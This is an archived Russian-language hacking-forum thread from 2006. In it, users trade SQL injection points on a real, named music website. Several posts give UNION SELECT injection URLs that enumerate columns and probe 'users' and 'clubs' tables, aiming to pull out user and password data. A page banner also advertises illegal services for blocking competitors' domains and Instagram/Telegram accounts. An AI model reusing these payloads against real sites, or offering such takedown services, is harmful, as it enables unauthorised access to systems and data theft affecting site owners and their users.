УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
www.nashe.ru (SQL)

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

www.nashe.ru (SQL)

27.02.2006, 17:19

gannibal

Познающий

Регистрация: 24.11.2005

Сообщений: 33

Провел на форуме:
52297

Репутация: 2

Отправить сообщение для gannibal с помощью ICQ

www.nashe.ru (SQL)

http://www.nashe.ru/data/past/past_detail.php3?id=1'
http://www.nashe.ru/data/artists/art_detail.php3?id=1'

ну и там их куча еще..........

вообще че-нить можно замутить с этим?

27.02.2006, 20:18

gadjet

Познающий

Регистрация: 17.12.2005

Сообщений: 78

Провел на форуме:
464418

Репутация: 23

Тута скуль инъекция
http://www.nashe.ru/data/past/past_d...1,12,13,null--
но, кажись, ниче не выдет. Ругается типа:
UNION types "text" and "int4" not matched . А так - раскрытие пути. Там просто postgeSQL, а с ним я не дружу

))

27.02.2006, 20:49

gannibal

Познающий

Регистрация: 24.11.2005

Сообщений: 33

Провел на форуме:
52297

Репутация: 2

мне кажется надо просто грамотно запрос составить и тогда все будет!

27.02.2006, 20:54

gadjet

Познающий

Регистрация: 17.12.2005

Сообщений: 78

Провел на форуме:
464418

Репутация: 23

Составь, тока мне привычнее иметь дело с MySQL или MSSQL, на крайний случай.

27.02.2006, 22:19

Rebz

Super Moderator

Регистрация: 08.11.2004

Сообщений: 3,395

Провел на форуме:
13166814

Репутация: 3876

эх, ребятки.. находил я уже это.. и таблицы подбирал))
ток толку не было..) там даже для форума нет базы юзеров).

27.02.2006, 23:32

gadjet

Познающий

Регистрация: 17.12.2005

Сообщений: 78

Провел на форуме:
464418

Репутация: 23

To Rebz Какую ты конструкцию использовал? А тож интересно, как там построить синтаксически правильную конструкцию.

27.02.2006, 23:47

Rebz

Super Moderator

Регистрация: 08.11.2004

Сообщений: 3,395

Провел на форуме:
13166814

Репутация: 3876

ща поищу.. ток мои запросы обычные.. =) не аткие уж идеальные -)
подобрал атрибуты _http://www.nashe.ru/data/clubs/club_detail.php3?id=66%20union%20select%20
null,null,null,null,null,null,null%20from%20clubs--

_http://www.nashe.ru/data/clubs/club_detail.php3?id=66%20union%20select%20
null,null,null,null,null,null,null%20from%20users--

полносью подобраны атрибуты:
_http://www.nashe.ru/data/dj/dj_detail.php3?id=34%20union%20select%20
null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,
null,null%20from%20users--

select users,null - дает интересную ошибку.. атрибут users
Кажется сущестуют такие названия как usr_id,usr_name

таблица forum есть..

В общем, это всё что удалось раскопать.. да и уже неитнересно стало)

28.02.2006, 02:41

gannibal

Познающий

Регистрация: 24.11.2005

Сообщений: 33

Провел на форуме:
52297

Репутация: 2

ссылки которые я привел с SQl на сайте, если правильно составить запрос то что в итоге должно примерно выдавать?

28.02.2006, 12:33

Rebz

Super Moderator

Регистрация: 08.11.2004

Сообщений: 3,395

Провел на форуме:
13166814

Репутация: 3876

ошибку MySQL должно выдать..

если ты подберешь названия столбцов (атрибутов) и самих таблиц, то можно полезные вещи вытащить.. если бы базы паролей были там..) можно было их бы вытащить)